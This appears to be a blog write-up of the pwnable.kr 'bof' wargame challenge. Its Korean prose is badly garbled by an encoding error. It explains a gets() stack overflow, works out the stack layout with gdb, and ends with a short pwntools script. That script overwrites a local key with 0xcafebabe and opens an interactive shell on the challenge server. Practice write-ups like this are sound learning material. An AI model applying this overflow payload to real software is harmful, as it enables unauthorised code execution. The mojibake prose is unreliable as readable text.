bof_WriteUp
๋๋๊ฐ ๋งํ์ด์ bof๊ฐ ์ผ๋ง๋ ์ผ๋ฐ์ ์ธ ์ํํธ์จ์ด ์ทจ์ฝ์ ์ด๋ผ๊ณ ์ ๋ง๋์? ๋ผ๋๋ฐ..
์๋ฌด๋๋ ๋ณด์ ์ทจ์ฝ์ ์ฒซ ์ค์ต์ด bof์ธ ๊ฒ์ ๋ณด๋ฉด ์ ๋ ๊ณต๊ฐํฉ๋๋ค.(๋ชจ๋ ๊ฒ ์ฌ๊ธฐ์ ์์..)
๋ณด์๋ฉด ์ ๋ฐ์์ผ๋ก ๋ค์ด๋ก๋ ๋ฐ์ผ๋ฉด ๋ฉ๋๋ค.
๋ณดํธ๊ธฐ๋ฒ์ด.. bof๋ง ์ฐ๋ผ๊ณ ํ์๋๊ตฐ์..
์ฝ๋๋ฅผ ๋ณด์๋ฉด func์ ํค ๊ฐ์ ๋ฏธ๋ฆฌ ๋ฃ๊ณ 8๋ฒ ๋ผ์ธ์.. ์กฐ๊ฑด๋ฌธ์์ ๋น๊ตํฉ๋๋ค.
๊ทผ๋ฐ ์์์ gets์์ ํฌ๋ฉง ์ค์ ๊ณผ ํฌ๊ธฐ๋ฅผ ๋ช
์ํ์ง ์์๊ธฐ ๋๋ฌธ์ bof๊ฐ ๋ฐ์ํฉ๋๋ค.
์์ธํ ๋ด์ฉ์ ์ ๋งํฌ๋ฅผ ๋ณด๊ณ ํ์ธํ ์ ์์ต๋๋ค.
Exploit design
๊ทธ๋ผ.. gdb๋ก ํ๋ฒ ๋ถ์ํด๋ด ์๋ค.
์ ํฌ C์ฝ๋๋ฅผ ๋ณด์๋ฉด ์์๊ฒ ์ง๋ง ํต์ฌ์ func ์ฝ๋์์ ํ์ธํ ์ ์์ต๋๋ค.
๊ทธ๋์ ์์ธํ ํ์ธ์ ํด๋ด
์๋ค.
15๋ฒ๊น์ง๋ ํ๋กค๋ก๊ทธ์
๋๋ค(canary๊ฐ ์ ์ฉ๋์ ์ต์ํ์ง ์์ ์ ์์ด์)
์ ๋ณดํธ๊ธฐ๋ฒ๋ค์ด ์ ์ฉ๋์ด ์๊ธฐ์ ์ผ๋จ ์ดํ ๋ฌธ์ ์ ๋์ฌ๊ฒ์ด๊ธฐ์ ๊ทธ๋ฐ๊ฒ ์๊ตฌ๋ ๋ผ๊ณ ๋์ด๊ฐ์๊ณ ..
๋ณด์๋ฉด 29๋ฒ์ ebp-0x2c๋ก ์ฐ๋ฆฌ๊ฐ ์ํ๋ overflowme์ buf์ ํฌ๊ธฐ๋ฅผ ์๋ ค์ค๋๋ค.
๋ํ ๋ค๋ฅธ ๋ฐฉ์์ผ๋ก๋ if๋ฌธ(์ฐํ์ ํต์ฌ)์ด ์๋๊ฒ์ ํ ๋๋ก ๋ถ์ํ๋ค๋ฉด...
๋ํ key์ ๋ฒํผ์ ์์น๊ฐ ebp+0x8..
๊ทธ ์์๋ ์๊น printf์ gets๊ฐ ์๋๊ฒ์ ํ์ธ๊ฐ๋ฅํ๋๊น call ๋ถ๋ถ์ 2๋ฒ์งธ ๋ถ๋ถ์
์ธ์๋ฅผ ํ์ธํ๋ค๋ฉด..
์ด๋ฐ ์์ผ๋ก ๋์ค๋๊น ๊ฒฐ๊ตญ ebp-0x2c์
๋๋ค.
๋ ์ ํํ๊ฒ ๋ณด์๋ฉด overflowme-key-main-argv..๋ก ๋ฒํผ๊ฐ ๊ตฌ์ฑ๋๋ฏ๋ก..
overflowme(0x2c) + key(0x8)์ ๋๋ฏธ๋ก ์ฑ์ฐ๊ณ ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํ์ฃ
์ฐธ๊ณ ๋ก ์ด๋ฐ ๋ฐฉ์์ ์์ธํ ๋ณด์๋ฉด ์๋์ ๊ฐ์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ stack alignment๊ฐ ์ ์ฉ, ์ต์ ํ๋ก ์๋๊ฐ์ ๊ตฌ์กฐ์
๋๋ค.
buf[32] + dummy[12] + sfp[4] + ret[4] + key[4; 0xcafebabe]
์ฌ๊ธฐ์ ret๋ฅผ ๋ฌด์ํด๋ ๋ฉ๋๋ค. ์๋ํ๋ฉด ์ฐ๋ฆฌ๋ ret overwrite๊ฐ ์๋
๊ทธ๋ฅ ์คํ์ ์์ฌ์๋ค๋ ํน์ง์ ์ด์ฉํ์ฌ ๋ฐ๋ก ๋ฐ์ if๋ฌธ์ ์ํฅ์ ์ฃผ๊ธฐ์..
๊ณ ๋ก ๋ฐ๋ก key ๊ฐ์ ์ํฅ์ ์ฃผ๊ธฐ์ ์ฐ๋ฆฌ๊ฐ ๋ฆฌํ์๋์ ํ์์ผ๋ก ํด๋น ๊ฐ์ ์ฝ์
ํ๋ฉด ๋ฉ๋๋ค.
Exploit
123456789101112 from pwn import *p = remote('pwnable.kr', 9000)payload = cyclic(0x34)payload += b'\xbe\xba\xfe\xca''''why using issue?'''#p.sendlineafter('overflow me : ', payload)p.sendline(payload)p.interactive()cs
์์์ ๋ค ์ค๋ช
ํ๊ธฐ์ ๋์ด๊ฐ๊ป์..
๊ทผ๋ฐ ์ ๊ธฐํ๊ฒ ์ฌ๊ธฐ์ sendlineafterํด์ ๊ฐ ๋ฐ์๋ ค๊ณ ํ๋๊น ์๋ผ ์๋ผ ๋ง ์ด๋ฌ๋๋ฐ
๊ทธ ์ด์ ๋ ์ ๋ชจ๋ฅด๊ฒ ๋ค์.. ๊ทธ๋ฅ sendline ํด์ ๋ณด๋์ต๋๋ค.
cyclic๋ ๊ทธ๋ฅ ๋ฒํผ ์ฑ์ฐ๋๊ฑด๋ฐ ์ ์จ๋ ๋์
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐ชโPwnable.kr' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Rookiss]echo1 (0) | 2022.11.20 |
---|---|
[Toddle]fd (0) | 2022.11.19 |
[Toddle]passcode (0) | 2022.11.19 |
[Toddle]collision (0) | 2022.11.19 |
[Toddle] flag (0) | 2022.11.19 |